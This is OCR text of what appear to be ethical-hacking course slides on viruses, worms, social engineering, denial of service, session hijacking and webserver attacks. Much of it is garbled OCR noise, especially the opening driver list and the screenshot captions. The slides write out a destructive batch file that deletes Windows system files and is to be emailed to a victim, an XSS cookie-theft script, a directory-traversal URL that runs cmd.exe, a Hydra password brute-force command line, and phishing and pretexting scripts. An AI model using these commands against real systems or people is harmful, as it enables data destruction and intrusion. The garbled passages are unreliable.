@ cdd an 2 Cwplay Drmes Canorscai Drplay Drver Mocroioft Corp.
& TSDDD M ’ c 1 Deploy Driver Frametules Drplay Drver Microroh Corp
@ windiusys ) g Syders Dimee  Mulle Uses Wind2 Divves Megrosoft Conpe
@ pautheupsreayi A wdern Dy Paun ey parie Mecroeoht Corp
@ vhidparsernys 0 C ' wdern Dawves el e WHE parser Mz syt Corp
@ aryncrmac 1 ' MNetwork Ormeer WS Rermote Aocert senal netwes Mecrotoht Corp.
@ WPRO_41_2001.5ys Unbraun
P wviys PN 1 Mataok e Senve goval Mecrosolt Corpa.
@ urvlap ' ! ! Mutwok Dy 5 L Serves dinet Mecrourft Corpe
@ Whimp.sye 2 4 Symem Diver VD Abepan Ot Wt ot o C orp.
@ MDerprndsays 0 14 | 3 Systern Draver Fike Syserm Dependency Mentg. . Mec reriolt Corp
L ] K plpreg syt ) 1 dpplu dean TCp0 Regeiiry Cunodibﬂityﬂ. = Mt ool Corp.
¥ ity G ¥ >} e 1 Megtaorn Dinvei  §ones Natwoik gtived ¥ 4 Miigsoh Corp..
[ | 1 fetem Dinw  Mesreainn (SURITY Dinver Masowainn G
D idpdi 1 ‘ 15 D0 0 1 1% Denvm Micros cft RDP Devica vadhractos Necronoft Corp -
& nplopn . i 117 Sysern Dinver ngd rys (W% 8 AMDSS) Karnal D CACE Technal
@ NPretehdem 5Y5 { ) ) 1 i Cymern Driver NP rstehdem for Obtervel Devie... Network lnmu .
@ WnVDEd o6 sys . Unbrown
@ HIThsy ' 3 Sdem Dimw MTTP Pigtoce! Srick Mot iodolt Corp.
@ lumpsan an 1 | Sy e Dyovesr han parimi Mcronoh Corpe
@ rondey nn OANANO00 1 SHoDont i Lymees Duiner Caranle Dover Mz manh Corp,
@ geman o Q0000000 1 505 000 1 " Sysrenn Drover oot ofy Srot 208 Por Davar Wecrotofr Comp.
@ WevDEdrv.sys 00000000 1 1036008 000 C Unkrnows ¥irtual Encrypran Dyiver NewSoltmares
& mombilas Q0000000 7 3D L0 L 1 Suitmrn Dyever Lencheown SME L0 Redirecior Macrooft Cora_

e —_——— — — —

1155 demisl, | Selected

http.//www.nirsoft.net
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Scanning for Suspicious Startup
Programs

Check start up folder Check start up program

C:\ProgrambData\Microsoft _ entries in the registry
\Windeows\Start Details are covered in next
M P Start .
enu\Programs\Startup slide
C:\Users\ (User-
Name) \AppData\Roaming)\
Microsoft\Windows\Start
Menu\Programs\Startup

Check Windows services Check device drivers
automatic started automatically loaded
Go to Run = Type services.msc C:\Windows\System32\

-» Sort by Startup Type drivers

Check boot.ini
or bed (bootmgr) entries
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Viruses and Worms

Module 07

Engineered by Hackers. Presented by Professionals.




! ) Avirusis a self-replicating program that produces its own copy by attaching itself
to another program, computer boot sector or document ‘
.

' Viruses are generally transmitted through file downloads, infected disk/flash
drives and as email attachments ——

Virus Characteristics

@ Infects Other Program | I Alters Data m

Corrupts Files and %
Programs 2

i
]
i

Transforms Itself

[ l j it Encrypts Itself ﬂ l Self Propagates




Types of Viruses C|IEH

How Do They Infect?

P — g g — e g —
“".\ 4 D £ ‘\\ y \\ V4 N
I ! ’ ’ § .
Systemor | Stealth Virus/ = £ ) \-,',_“ = . o Wt H Overwriting |
| | |
Boot Sector Tunneling | | "wp"m { :i o‘;':rp % | } \nrusp ‘f ) File or Cavity f
Viruses . e e . . Virus J
A A 7 \ A J
‘\\ -" .‘\ " "\ v '\._ '
—" " ——— ———" “————
.‘r_-‘- e — ""\...‘“ . "/J-' e — ""-.‘."\ ("f e — “"-u.\\ "ff - ——— \.\' \
i - \/ companion [ \/ \
arse
":e e il 'J Virus/ A Shell | J File Extension (’
) | Camouflage |  Virus || Virus
rus k3 . ® ]
\ J \ “m A" ,." i J
\‘- -~ - P \H - H’o - < - o~ F -\‘\-‘ o /
— T “‘-.‘ — .—-‘___“-._“ ’ — -—_‘-,_"‘ T
F 4 Y N 4 L F .
¥ '\‘ I.r '-1‘ "f "' i" I\
Direct Action  Terminate and |

Multipartite
Virus

} ol } or Transient ::! Stay Resident |
LB Virus Virus (TSR)

A / \ ‘A ’
7 \ F L) . /a \ .r_-

)

o

What Do They Infect?
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System or Boot Sector Viruses| (|EH

0 sl S

e

Boot Sector Virus
Boot sector virus moves MBR to @ When system boots, virus
another location on the hard disk > code is executed first and then
and copies itself to the original ﬂ control is passed to original
location of MBR MBR

.oola.---'-lﬁ.

Before Infection
¢ MBR >

After Infection

--------------------------------

“«—Virus Code—>
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Ll e [T

File and Multipartite Viruses

-—_

1
Multipartite Virus \

File Viruses

COM, EXE, SYS, OVL, OBJ, PRG, MNU and the same time
BAT files

File viruses can be either direct-action
(non-resident) or memory-resident

-3
1
4 File viruses infect files which are executed J Multipartite viruses infect the system
or interpretedin the system such as boot sector and the executable files at

Attacker
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C/EH

Macro Viruses

Cartifugd (SIS I L

1 I:q &l —
..................................................................... )
Infects Macro Enabled Documents
@ Attacker User @

@ Most macro viruses are 2 Macro viruses infect
written using macro | templates or convert
language Visual Basic infected documents
for Applications (VBA) into template files,

while maintaining their
’ appearance of ordinary
| document files

< -

®.

—d 32

Copyright © by EG-Gummcil. All Rights Reserved. Reproduction is Strictly Prohibited.



Folder Options

Flle Extension Viruses
General Hew Search

Fi H ir h Folder wews
Iie extension viruses c dnge the Vi e sl ioe ot lheas Disadivos Jtha

extensions of files : you are using for this folder to al foiders of this type

o s el Reoet Exiders

.TXT is safe as it indicates a pure text
file

Advanced settnga

With extensions turned off, if someone Flos and Folders

sends you a file named BAD.TXT.VBS, [] Ahways show icons. never thumbnails

. ] A
you will only see BAD.TXT (55 Dorton o om thambrais

; [ Drsplay fée m2e rlormation i foider tips
If you have forgotten that extensions T

are turned off, you might think this is a Hedden fikes and foksers
" ; (O) Dont show hidden fien, folders, or dnves
text file and open it @ Shaw hedden fies. folders. and dnves

This is an executable Visual Basic
Script virus file and could do serious
damage

Countermeasure is to turn off “Hide
file extensions” in Windows
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Writing a

.

Create a batch file Game.bat
with this text

@ echo off
del c:\winnt\system32\*. *
del c:\winnt\*. *

Simple Virus Program C|EH

Send the Game.com file
as an email attachment
to a victim

4
fEFRAREAREE N o FEEAEAREARERAREN Q
P o

’."l'........... 1
v
’/’-N— .\“
{ Convert the Game.bat When run it deletes core
\ batch file to Game.com files in the WINNT directory
| using bat2com utility making Windows unusable
\ s '
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i

_‘ Terabit Virus Maker

prd Ops g Calossladanr
id Opening Copy,Move Window
Avoid Opening Gpedit
Il Avoid Opening Media Player
Il Avoid Opening Mouzilla Firefox
l Avoid Opening MaConfig
Avoid Opening Nolepad
I Avoid Opening Wordpad
I Avoid Opening Yahoo Messenger
Il Add 30 User Accounts to Windows
Il Atways Clean Clipboard
Il Atways Log Off

B Disable Windows Security Center
] Disable Windows Security Essentals
I Disabie Windows Themes

[l Format All Hard Drives

[l Funny Keyboard

Il Funny Mouse

I Funny Start Button

I Graduaily Fill Systemn Volume

H Hide Deskiop kons

I Hide Fokder Opbon Menu

[l Hide Taskber

Il Lock All Drives Folders

. Close Internet Explarer Every 10 Sec ] Lock mternet Explorer Option Menu

Il Delete Al Files In Desktop

Il Delete All Files In My Documents
I Delete Windows Fonis

Il Delete Windows Screen Savers
Il Disconnect From Internet

] Dizable Automnatic Updaies

[l Disabie Command Prompt

Il D:sable Printer

Il Disabie Regedit

] Dizable Screen Saver

B Disable System Restore
Disable Task Manager

Il Dizable Windows Firewall

B Disable Windows Installer

Il Mute System Volume

B OpencCilose CD-ROM Every 10 Sec
I Puy Beep Sound Every Sec

H Remove Desktop Walipaper

Il Remove Run From Start Menu
Il Remove Start Button

] Remove Windows Clock

B Siow Down PC Speed

Ed Spread wih Floppy , Folders
[l stop SOL Server

B Swap Mouse Buttons

Il Transparent Explorer Windows
Il Turn off Computer Afier 5 Min
B Tum Off Monitor

B Run Custom Command

m‘ld- fake KB(s) lo vwus

Fie Mame & fer natal

Fie ©on

AMGUREN N, Exe -
Fite Mames e n

S

Aun Vitus wilh 'Windows

—— = e




Computer worms are mall
replicate, execute,and sp
connections independe
interaction

ed only to replicate and

carry further cyber att
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How Is a Worm Different from
a Virus?

—

Replicates on its own

A worm takes advantage of file

or information transport

features on computer systems

and spreads through the

infected network automatically |
but a virus does not

g 1
Spreads through the \¥/  "
B

L

| \ Infected Network K-
-

A worm is a special type of virus
that can replicate itself and use

memory, but cannot attach itself
to other programs

1
L

L
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Online Malware Testing:

VirusTotal

. VirusTotal is a free service that analyzes suspicious files and URLs and facilitates the detection of
viruses, worms, Trojans, etc.

Il,l' ) Antweis scan lor SIS ':F;* - - -

= — - c a MIpS  wWat vinussataleem - = ] 1d62 5¢3%305¢d91041b9720a30¢2M 1675 76603695434 78687 ¢ 27 3921d b - analyss 1
I._ I
[ ]
S A ~total

- ¥ - .

= 26 06 111625 Y0005 104 169720200 2 10 TE 7960 365 S TRGRT 22 19240
', I Fle neme  wmons_DE131dR25cTadIG5E | 54109720030 2 1o 7470603695434 7868 T 27c J924db bir .
-
Drtectin 3.0 “ 0 @ 0
ey PEY e e Bmy T

200120717 02 52 00 UTC ( 2 monthn 2 weekn 800 |

st reen Ve gue 1208

Antlviiue Rumsuit Updata

Annl an V3 Yo Teosars Meavcker 1036268 014716

AnuVe BOC Momwc ke 21 G 20120716

Artry AVL

Bl rdive W 17 MoSuckar gan 210717

Asant Win32 Trogaa gen 20120716

http://www.irustotal.co

AVG Bac =Cooe asuc ks 20120718
— — A — —
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Social Engineering

Module 09

Engineered by Hackers. Presented by Professionals.




What Is Social Engineering?| C|EH

Cortifiod § Ethousl Mhacher

%

J Social engineering is the art of convincing people to reveal confidential information

J Social engineers depend on the fact that people are unaware of their valuable
information and are careless about protecting it

Confidential (| | =*
Information v

Gather
Information

Authorization
Details

Access
Details
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Phases in a Social Engineering

CEH

Attack

Ly
AL

Research on

Cortifiod | Ethooadl Machar

‘\11

T Target Company Select Victim .
‘ i il § e “
3‘ :: AV ‘? Dumpster diving, Identify the frustrated o2 4

. ":;:.': websites, employees,

™
employees of the
target company “ “

tour company, etc.

——ITITTTITITAT

L] ' N
Exploit the ,_
Relationship g \

Develop
Relationship

L \\k,\
JO\‘Q Develop relationship

with the selected
employees

Collect sensitive account I
information, financial e
information, and current

technologies

[EESEEEENERE]
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Common Targets of Social

Engineering: Office Workers

J Despite having the best firewall,
intrusion-detection, and antivirus
systems, you are still hit with security
breaches

T Y =

-

Attacker making an attempt as a valid
employee to gather information from the staff of a company

---------------------------------------------------------------------------------------

The victim employee gives information back assuming
i
Attacker the attacker to be a valid employee

Copyright © by E&-Esuncil. All Rights Reserved. Reproduction is Strictly Prohibited.

CEH

Cartd st sl -

_ TR

‘U
J Attackers can attempt social
engineering attacks on office workers
to extract the sensitive data, such as:

®  Security policies
® Sensitive documents
© Office network infrastructure

‘ © Passwords
|

ﬂ
.

Victim




Types of Social Engineering | C|EH

Cartifiod § fthowsl Mo

Human-based Social Engineering o

Gathers sensitive information by interaction

Attacks of this category exploit trust, fear, and helping nature of humans I

It is carried out with the help of mobile applications
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Technical Support Example (C|EH

Vel o

5% Aman calls a company’s help desk
and says he has forgotten his password.
He agds that if he misses the deadline on a big
advertising project, his boss might fire him.

The help desk worker feels sorry for him and

quickly resets the password, unwittingly giving
the attacker clear entrance into the

corporate network S8
P 'y
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Authority Support Example  C|EH

/

=

%% Hi, | am John Brown. I'm with the

external auditors Arthur Sanderson. We've
been told by corporate to do a surprise
inspection of your disaster recovery
procedures.

. Your department has 10 minutes to show
* ; me how you would recover from a

website crash. |

<l'l!.ll’ll. :
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Human-based Social Engineering:

Eavesdropping and Shoulder Surfing

Eavesdropping

J Eavesdropping or unauthorized
listening of conversations or reading
of messages

J Interception of any form such as audio,
video, or written

J It can also be done using
communication channels such as
telephone lines, email, instant
messaging, etc.

C|EH

(Tl LA e

Shoulder Surfing

J Shoulder surfing uses direct
observation techniques such as

n-

& 5 )

¢ looking over someone'’s shoulder to
get information such as passwords,

faee PINs, account numbers, etc.

J Shoulder surfing can also be done form

a longer distance with the aid of vision
L enhancing devices such as binoculars
to obtain sensitive information

ﬂ
0
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Human-based Social
Engineering: Dumpster Diving

cevimd | Imad R

Dumpster diving is looking for treasure in someone
else's trash

<rash Bing

Contact
Information

'p'eratnns e i Financial
Information J\_ Loty ) Information |

Sticky Notes
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P Watch these Movies

KINO AUF DER UBERHO[SPUR' lecnardo dicaprio tom hanks

9

' Catlch me

if you can

" TALIAN JOB

JAGL AL B TONEN

./ﬁ.é,.

¢
-3
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- Watch these Movies

_:‘;_, There are many movies in which social engineering is highlighted. Watch th



Computer-based Social
Engineering Y

CEH

Pop-up Windows

Windows that suddenly pop up while
surfing the Internet and ask for users’
information to login or sign-in

Spam Emall Hoax Letters

Hoax letters are emails that
issue warnings to the user
on new viruses, Trojans, or
worms that may harm the
user’s system

Irrelevant, unwanted, and
unsolicited email to collect
the financial information,
social security numbers, and
network information

Chain Letters

Chain letters are emails that offer

Instant Chat Messenger

Gathering personal information by
chatting with a selected online user free gifts such as money and
to get information such as birth software on the condition that the
dates and maiden names user has to forward the mail to the

said number of persons
146




Computer-based Social

C|EH

Lorid sl Pl S

Engineering: Pop-Ups

Pop-ups trick users into clicking a hyperlink that redirects
them to fake web pages asking for personal information, or .

downloads malicious programs such keyloggers, Trojans, or
Spyware
' _Tala Lo0araiiene ) Bte i v Antivlens Poo Waining!

& Haimful and rdticlous suNwart detecled

 JCONGRATULATIONSY =

A R e R s

Ehivd s & Qs FOur (oW,
vou're the 1 Milllonm
Yaaw Al lyw!
mﬂmf ﬂlls ”'" | o lrapan IM.Win324 akei.a Hgh -~
" "l ko be e N W Vews W2 Foker.a Mah
wrl C et ol e Dopaitiment i sdals | | ' ToRnd'sSWBA L Lunter Hah

| Remaeal || Ijnses
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Computer-based Social
Engineering: Phishing

J Anillegitimate email falsely claiming to be from a legitimate site attempts
to acquire the user’s personal or account information

J Phishing emails or pop-ups redirect users to fake webpages of mimicking
trustworthy sites that ask them to submit their personal information

CTBANRK Update

w ey b

vt CMBANSE nhae A
. T -

e led e e cabljle

S AR R R R EENNEREERENESNEERERZSHNERSRSH]

CTOANE 'vu
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Mobile-based Social Engineering:

C/EH

(i | bl S

Repackaging Legitimate Apps

Malicious developer
downloads a legitimate game
and repackages it with malware

% e‘ ............

Developer creates a gaming
app and uploads on app store

Mobile App Malicious
Store * Developer
. - User credentials ,.+* 9

sends to the malicious _,*° Uploads game :
Legitimate developer to third party :
~ app store ®
Developer :
v

uuuuuuuuuuuuuuuuuuuuuuuuu

malicious gamming app

Third-Party App
Store
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' | Mobile-based Social Engineering:
Fake Security Applications

1. Attacker infects the victim’s PC

2. The victim logs onto their bank account

3. Malware in PC pop-ups a message telling the victim to download an application onto their
phone in order to receive security messages
4. Victim download the malicious application on his phone

S. Attacker can now access second authentication factor sent to the victim from the bank via SMS

User logs to bank account
pop-ups a message appears
telling the user to
download an application
onto his/her phone

Infects user PC with malware

----------------------------------------------

User o

User downloads application .

---------------------------------------------

Attacker uploads malicious
applicationon app store

Attacker’s App Store



Mobile-based Social Engineering:

clEH

Using SMS

la.m-ul Ethocad  has o
.

Tracy received an SMS text message, ostensibly from the security department at XIM
Bank. It claimed to be urgent and that Tracy should call the included phone number
immediately. Worried, she called to check on her account.

She called thinking it was a XIM Bank customer service number, and it was a recording
asking to provide her credit card or debit card number.

Unsurprisingly, Jonny revealed the sensitive information due to the fraudulent texts.

e —

User Cellphone Tracy calling to Fraud XIM
(Jonny gets an SMS) 1-540-709-1101 (Bank Customer Service)
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Social Engineering on

C|EH

Facebook

Lt bimasl S

Attackers create a fake user group on Facebook identified as "Employees of" the target company
Using a false identity, attacker then proceeds to "friend," or invite, employees to the fake group, “ Employees of the company”

Users join the group and provide their credentials such as date of birth, educational and employment backgrounds, spouses names, etc.

Using the details of any one of the employee, an attacker can compromise a secured facility to gain access to the building

Basic Intormation

John James

® Shoaied ot The Unversty of 2uclond o Lives in Christchuidh, Nes Zedend 8 Bon om Mey 5,
1992 @ XX yor asren: woik riorvaban @ Add your horselown # £4E Fiohie

Maic

gerested Ink Men

Relahnnchip  Sngle

tducalion and Work

Lontact Information
e Lty of Ras b and

Iagh Schael y -‘i’ i Raskill G anmns
L o 1997
E*- v: el G arre e
) ¥

164 5CO0CO00 (Mc!
+04 SUBUULLL (Uther)

bbb by

Auckand, CA 700017

John (¢

retp:ffwww, uggybcy com/

http://www.facebook.com
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Usa Oct2531,2012
Hacker Halted 2512 | ercomtinenta Hotel, Mami Fiors

1 o

Unravel the Enigma of

http.//toolbar.netcraft.com )

Features: '
© To protect your savings from phishing attacks

€ To see the hosting location and risk rating of
J every site visited

© To help defend the Internet community from
fraudsters

The Netcraft Toolbar provides constantly
updated information about the sites you visit

as well as blocking dangerous sites
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Denial-of-Service

Module 10

Engineered by Hackers. Presented by Professionals.




What Is a Denial of Service
Attack?

Denial of Service (DoS) is an attack on a computer or network that reduces,
restricts or prevents legitimate of its resources

In a DoS attack, attackers flood a victim system with non-legitimate service
requests or traffic to overload its resources

’ Malicious Traffic

L ARER LR QL |
LITTT T LT >

lr"' |
|

-
.
-
.
-
-
L]
-
-
-
-

j I ! E
..._ - # »
R 3

&

fessssaBBInER g

gFtansanssananhina

3

¢

[ Regular Traffic
Server Cluster
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What Are Distributed Denial
of Service Attacks?

4 A distrbuted denial-of-service (DDoS) attack involves amukitude of
compromised systems attacking a single target, ther eby causing dengl of
service for users of the targeted system

4 To launch a DDoS attack, an attacker uses botnets and attacks a single system

Financial Disabled
Organization

- -y
Lo
S
2 S—
— -
S — -
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Bandwidth Attacks

When a DDoS attack is launched, flooding
a network, it can cause network
equipment such as switches and routers

to be overwhelmed due to the
significant statistical change in the
network traffic

A single machine cannot make enough

requests to overwhelm network equipment;
hence DDoS attacks were created where
an attacker uses several computers
to flood a victim

Attackers use botnets and carry

out DDoS attacks by flooding the . - B:sucaJIy, alI)l ba:d:::'th i
network with ICMP ECHO used and no bandwidth remains

packets for legitimate use
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Service Request Floods

An attacker or group of zomt
L' to exhaust server resources by
and tearing down TCP connections

Service request flood attacks flood servers with a
high rate of connections from a valid source

L) Itinitiates a request on every connection

Copyright © by EG-GCaumcil. All Rights Reserved. Reproduction is Strictly Prohibited.
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ICMP Flood Attack

| (=
’ . ' : M‘I'- Sasaw ..l'.@‘..ll'l..l'l-.'* Fﬂ
‘ 4 ICMPis a type of DoS attack in ' —~
which perpetrators send a large . Attacker The attackersends Target Server
, . ICMP ECHO requests
number of packets with fake source ; with spooled source addrasses
addresses to a target server in order
to crash it and cause it to stop ) ECHO Request
responding to TCP/IP requests ;
. ECHO Reply
4 After the ICMP threshold is reached, | . RS e e
the router rejects further ICMP echo ; ECHO Request
requests from a" addresses in the | f ln!'lclclcclilcin.llt.t.lI-lI.II'vltonvvoocll.lIloan
same security zone for the : ECHO Reply
remainder ofthe current second ; (II.'....III..I.I.III.I
and the next second as well :
— = |
-Maximum limit of ICMP Echo Requests per Second-
ECHO Request

L
ECHO Request

IIIIIIIIII-IllIIIIII...II..I.II'.II..IIIIIIIlIIII-III.
Legitimate ICMP echorequest from an
addressin the same security zone

= e e —e - —----
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Botnet

Bots are software applications that run automated tasks over the Internet and perform
simple repetitive tasks, such as web spidering and search engine indexing

A botnet is a huge network of the compromised systems and can be used by an intruder
to create denial-of-service attacks

Bots connect to C&C 7
handler and wait for instructions o ':,j % Bots attack

a target server

IIIII.II..IIIIII.)
AassEana ll.l.ll..llll.llIl.l.l.lll‘lllllll.l..
Attacker sends commands to

the bots through C&C

Bot Command & Target Server
Control Center ! *
-1 > D

Zombies
* Sets a bot

: C&C handler

a I
Ie‘.l..l‘.Oﬂnnltlwt.hp_ e |I ..9....‘.‘.‘....'

Attacker infects i v
a machine

>

Bot looks for other vulnerable
systems and infects them to
create Botnet

sEsssscemmEn

Victim (Bot)
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Session Hijacking

Module 11

Engineered by Hackers. Presented by Professionals.




CIEH

[CRErT Pinasl S

What Is Session Hijacking?

-

’ . Sessn?n I-!Uad“ng re.fers to the . The attacker steals a valid session ID —)-]
exploitation of a valid computer session BTy . ‘. _
. which is used to get into the system " ﬁ .
where an attacker takes over a session e 4
and snoop the data ,
between two computers

Since most authentication only

2\ In TCP session hijacking, an attacker : —=a
VD e . sy AERE occurs at the start of a TCP session, !
;?-:_‘... takes over a TCP session between | this allows the attacker to ol ,

" two machines —

access to a machine
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Why Session Hijacking Is

Successful?

No Account Lockout For

- - * ----- ‘
Invalid Session IDs
Weak Session ID g
Generation Algorithm -'
Insecure Handling s »
Indefinite Session
Expiration Time
Small Session IDs ~ ®------+ |

Clear Text Transmission
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Key Session Hijacking

Larved et

Techniques

Brute Forcing

The attacker attempts different
IDs until he succeeds

Calculating ﬁ
Using non-randomly

generated IDs, an
attacker tries to calculate steal Session IDs

the session IDs

Stealing

The attacker uses
different techniques to
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Spoofing vs. Hijacking C|EH

(ortifiod § fthoeal Mahes

Spoofing Attack Hijacking
- Attacker pretends to be another user J Session hijacking is the process of
or machine (victim) to gain access | taking over an existing active
o o session
- Attacker does not take over an existing |
active session. Instead he initiates a a— J Attacker relies on the legitimate
new session using the victim’s stolen a user to make a connection and

credentials authenticate

- John logs on to the
N m server with his credentials
bt 00 ML i iirsesitia e nrannas

= :
‘ h \("'.\F." ‘S 4 """"""""" -@ II.III.IIIIOII.I.I'I
S ) k{% \30;9.‘& eV lehn Predicts the - ¥ Server
R ¢ Victi sequence and kills } __.-
\fé".‘ {Victim) lohn’ s:cnnection ." ,,.\1' .;éfp

0

Atta cker

Atta Eke—r
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Session Hijacking Process CIEH

Monito:
| - > |
B S

T8 Place yourself between the victim and the target (ycu must be able to sniff the network)

& & B
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Session Sniffing

J Attacker uses a sniffer to capture a valid session token called “Session ID”

- Attacker then uses the valid token session to gain unauthorized access to the
web server

Attacker sniffs a
legitimate session -
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Man-in-the-Middle Attack CIEH

Cortifiod § Ethical Whaxhes

J The man-in-the-middle attack is used to intrude into an existing connection between systems
and to intercept messages being exchanged

Web Server § Attackers use dif'.fere.nt techniques ancf split
the TCP connection into two connections

‘g = 1. Client-to-attacker connection
LIS R LA R TR Y ]

i ‘oc-n-ncan ]
— = 2. Attacker-to-server connection

After the successful interception of TCP
connection, an attacker can read, modify,
and insert fraudulent data into the
intercepted communication

In the case of an http transaction, the TCP
connection between the client and the
server becomes the target
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 Cross-site Script Attack CIEH

The example here shows
how the attacker steals
the session token using
XSS attack

The attacker can compromise the session
token by sending malicious code or programs
to the client-side programs

If an attacker sends a crafted link to the
victim with the malicious JavaScript,
when the victim clicks on the link, the
JavaScript will run and complete the
instructions made by the attacker

The example here uses
an XSS attack to show the
cookie value of the

current session

W Using the same technique, it is possible to create a
specific JavaScript code that will send the cookie to
the attacker <SCRIPT>alert

{document.cookie) ;</SCRIPT>
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Man-in-the-Middle Attack

\\\\\\\

Using Packet Sniffer

< In this attack, the packet sniffer is used as an interface between the
client and the server

. The packets between the client and the server are routed through the
hijacker’s host by using two techniques

|]INC T[:1

Resolution Protocol (

Control Message Protocol (ICMP)

It is an extension of IP to send error ARP is used to map the network
messages where the attacker can send layer addresses (IP address) to link
messages to fool the client and the layer addresses (MAC address)
server

-------

J ARP spoofing involves fooling the host by broadcasting the ARP request and
changing its ARP tables by sending the forged ARP replies
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IPSec is a protocol suite developed by the IETF for securing IP communications by authenticating
and encrypting each IP packet of a communication session

It is deployed widely to implement virtual private networks (VPNs) and for remote user access
through dial-up connection to private networks

—— Network-level peer

authentication

Replay protection I =
_ - A
.

Data origin
authentication

Data confidentiality

(encryption) Data integrity
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Hacking Webservers
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Webserver Market Shares C|EH

et | VS

Apache

Microsoft - IS

Nginx

LiteSpeed

Google Server

Tomcat

Lighttpd

|I = = = = #
0 10 20 30 40 50 60 70 80%
Percentages hitp://w3techs.com
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Website Defacement

| <4 Web defacement occurs when
an intruder maliciously alters
visual appearance of a web
page by inserting or
substituting provocative and
frequently offending data

J Defaced pages exposes visitors
to some propaganda or
misleading information until
the unauthorized change is
discovered and corrected

HACKED!

Hi Master, Your website owned
by US, Hacker!

Next target — microsoft.com
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Web Server Misconfiguration ( Eﬂ

Remote Administration
Functions

Verbose debug/error
messages

Anonymous or Default

- Unnecessary Services
Users/Passwords

Enabled

Sample Configuration,
and Script Files

Misconfigured/Default
SSL Certificates
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Directory Traversal Attacks (C|EH

In directory traversal attacks, attackers use ../ (dot-dot-slash) sequence to access restricted
directories outside of the web server root directory

Attackers can use trial and error method to navigate the outside of root directory and access
sensitive information in the system

Voluma in drive € has no labal.
Voluma Serlal Number |3 DASE-9FEE

Directory of C\
06/02/3010 11BIAM 1,034 smd
09/28/2010 06:43 PW 0 128 tent
http://server.com/s 05/21/3010 0310 PM 0 AUTOEXEC BAT
. . 09/77/2010 0834 MM <DIR>  CATALINA_HOME
cripts/..%5c../Wind 05/21/2000 03:10 P 0 CONPIG.STS
ows/System32/cm AR S0
. 4 08/07/2010 0338 PM  <DIR> nted
d.exe?/c+dir+c:\ VDN 0SS >  Dmgs e
0S/16/2010 0236 AM D>  Snort
09/28/2010 0R:SOAM <DR>  WINDOWS

09/25/2010 0103 PM 560 344 WinDump exe
7Filels) 570388 bytes
13 Dir(s) 13,432,115,200 bytes free
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Gt bl S

An attacker tries to exploit
weaknesses to hack well-chosen

passwords
{/‘ ~
(G
Many hacking attempts start & O S— .. The most common passwords
with cracking passwords and www P . found are password, root,
proves to the webserver that ‘\ . administrator, admin, demo, test,
they are a valid user  Gr— guest, qwerty, pet names, etc.
“a
Attackers use different methods “ 11 Attacker target mainly for:
such as social engineering, P 4 » Web form authentication cracking
spoofing, phishing, using a Trojan ' B SSH Tunnels

Horse or virus, wiretapping,
keystroke logging, etc.

= FTP servers
» SMTP servers

» Web shares
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Webserver Attack Methodology:

C/EH

Ll e [ I

Mirroring a Website
S W

w Mirror a website to create a complete profile of the site’s directory structure, files structure, external links, etc.
w Search for comments and other items in the HTML source code to make footprinting activities more efficient

w Use tools HTTrack, WebCopier Pro, BlackWidow, etc. to mirror a website

I_H; Stte mirodng In progress (2514 {+13), ;zmns_nﬁ: [‘les_l mopcl_;m ..i'.'-.!--‘l

— — = |
ke Fuferences Miro* log Window Help |

| EF T : N e
H-Took | - Pararg HTM| fin i
e — &

| ' v s uyyed X0 268 Larde s scarvwr! PRy
| i MyWeb5Sites The 2mals Tos wrvm H
m Program Files limide atn DB {1 196E 4 Hys _oodmted 0 il
Il 6 5 PogrmFie a8a Atve compaony | o 0 '
| :::| Usars
i Wendows 1 b~ Jelens:
NTUSER.DAT |
EIH . Local Duk <D:» . wriry P Sr—— - __Swe |
#t o] OVD RW Diive <E:» | & | |
f ‘ ‘H g ¢ Mew Voluma skh» ——-—lJ | ||
| ‘ |
—ne _J |
| |
| — s
= )
e
e~
) ‘
i | _._T_ -
| |
‘. | | G | -

- http://rwww. f_lrfrack.coir_;_ =

o=
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Webserver Attack Methodology:

C|EH

(ot | bt S

Vulnerability Scanning

J  Perform vulnerability scanning to identify weaknesses 4 Sniff the network traffic to find out active systems,
in a network and determine if the system can be exploited network services, applications, and vulnerabilities present
2 Use avulnerability scanner such as HP WebInspect, 4 Test the web server infrastructure for any
Nessus, Zaproxy, etc. to find hosts, services, and misconfiguration, outdated content, and known
vulnerabilities vulnerabilities

— e e v b a— W)
v s

e .3
L |

- — — ——

o s e B —— -

| — A c—  —
- [ ] P T ———

P e — T ey |
e A — T — e

s W P T Smm— V-
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Webserver Attack Tools:

Metasploit CIEH

Lord s [RE ST Tt

4 The Metasploit Framework is a penetration testing toolkit, exploit development platform, and research tool
that includes hundreds of working remote exploits for a variety of platforms

J It supports fully automated exploitation of web servers, by abusing known vulnerabilities and leveraging weak
passwords via Telnet, SSH, HTTP, and SNM

@metasploit

& e

.mo hn-—o e - E— g I DadoRale Taga i) Reper

Terget System Slabus Operatang Sytivem (Top §)
@ % Soresol Wraiowy
M - Orecoveced @® T Loem
@ 1 Sheted @ 2. Vosecn Pesaw
1 Looted L e |
® | " eenmenes

Project ALirity (24 Howrs)

http://w_wmrr-leta;ﬂoit_. com
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Web Password Cracking Tool:
= CIEH

Cortihad | Hubiaad oo

THC-Hydra

A very fast network logon cracker that support many different services = ¢

(oss e — WO ]

[ {
| Target Passwords Tuning Specific Stark Target Passwords Tuning Specific Start

-
| Target ad Gulput i
P Hydra v7.1 {€)2011 by van Hauser/THC & David Maciejak - for legal purpose-sJ
Single Target T2 Tres 15 1)

Hydra (http://www.thc.org/thchydra) startingat 2012-10-21 17:01:09
. [DEBUCG] cmdline: Jusr/bin/bydra -5 -v-V -d -l Administrator -P fhome/ iDes |
Target List [DATA] 4 tacks, 1 server, 4 logintries {1:1/p:4), ~1 try per task
[DATA] attacking service rdg on port 3389

| [VERBOSE] Resolving addresses ...
[DFBUG] resolving 192.168 168.1
done
Port 0 - [DEBUG] Code: attack Time: 1350819069

[DEBUG] Options: mode 1 ssl1 restore 0 showAttempt 1 tasks 4 max_use «
DEBUG] Brains: active 0 targets 1 finished 0 toda_all 4 todo 4 seqnt 0 Founc
Protocal rdp - DEBUG| Target 0-target 192.168.168.1 ip 192 168.168.1 login_no Wrpass_nc
DEBUG) Task0-pld 0 active o redo 0 current_login_ptr (null) current_pass.
DEBUG) Task 1 pid O active 0 redo 0 current_lagin_ptr (null) current_pass_
DEBUG] Task 2 - pid 0 active 0 redo 0 current_login_ptr {(null) current_pass_
[DEBUG] Task 3 - pid O active 0 redo 0 current login_ptr (null) current pass
B Use SSL & Be Verbose [WARNING] rdp servers often don't like many connections, use t1or t4tor |
[VERBOSE] More tasks dehned thanlagin/pass pairs exist. Tasks reduced to
DEBUG] head _no[0] activeQ
DEBUG] child D got target 0 selected
[CEBUG] head nof1] active 0

" Prefer IPVé

Output Options

